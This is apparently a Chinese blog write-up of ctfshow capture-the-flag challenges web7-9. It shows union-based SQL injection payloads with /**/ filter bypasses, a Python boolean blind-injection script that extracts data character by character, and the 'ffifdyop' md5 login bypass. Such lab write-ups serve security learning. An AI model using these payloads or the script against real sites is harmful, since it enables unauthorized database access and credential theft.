ctfshow web7-9

web7

 

 通过点击几个目录发现id在变化可能存在sql注入

使用/?id=1 and 1来测试

 发现出错 尝试找出过滤  最后发现过滤了空格使用/**/来绕过

构造/?id=1/**/and/**/1 和/?id=1/**/and/**/0 时sql恒不成立

构建 ?id=1/**/and/**/1/**/order/**/by/**/3 来查字段

 

 得到字段为3 构建/?id=-1/**/union/**/select/**/1,2,3(由于使用联合查询使用要使前面的语句无法正常查询)使用id=-1

 发现2.3构建/?id=-1/**/union/**/select/**/1,database(),3查数据库

 得到库名web7构建?id=-1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema="web7"

 得到3个表构建?id=-1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_schema="web7"/**/and/**/table_name="flag" 查找flag中的字段

 发现只有flag构建/?id=-1/**/union/**/select/**/1,flag,3/**/from/**/flag

 得到flag值

web8

 

 

 

 使用/**/代替空格测试过滤

 发现过滤了‘ 空格 and union 

由于and 和union不能使用使用使用盲注

空格使用/**/代替

这里了解一下盲注篇幅有限可以看下面的稍微了解一下渗透测试——布尔盲注和时间盲注_zjdda的博客-CSDN博客_时间盲注和布尔盲注

因为and过滤所以使用or

用脚本来猜出flag

import requests
s=requests.session()
url='http://1a52462e-b3aa-4f50-8445-0792a199259e.chall.ctf.show/index.php'
table=""

"""
' and ascii(substr((select database()),1,1))=xx #
这样的话写个脚本很容易跑出来了,过滤逗号之后可以变成这样

' and ascii(substr((select database())from 1 for 1))=xx #
这应该是substring函数的两种用法
"""

for i in range(1,45):
    print(i)
    for j in range(31,128):
        #爆表名  flag
        #payload = "ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #爆字段名 flag
        #payload = "ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%s/**/for/**/1))=%s#"%(str(i),str(j))
        #读取flag
        payload = "ascii(substr((select/**/flag/**/from/**/flag)from/**/%s/**/for/**/1))=%s#"%(str(i), str(j))

        ra = s.get(url=url + '?id=0/**/or/**/' + payload).text

        if 'I asked nothing' in ra:
            table += chr(j)
            print(table)
            break

更改url为你的url 注释掉的是爆表名的payload在kali里面要用python3打开要经过一段时间的等待

 最后得到flag值这里少了给}

web9

 先使用万能密码没有用

 扫描网站发现robots.txt

 发现提示index.phps这是源码

 下载文件打开发现

$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";

这里涉及.md5($password,true)详情看sql注入:md5($password,true)_March97的博客-CSDN博客_md5($pass,true)

所以使用ffifdyop作为密码

登录成功出现flag值 

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

许允er

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值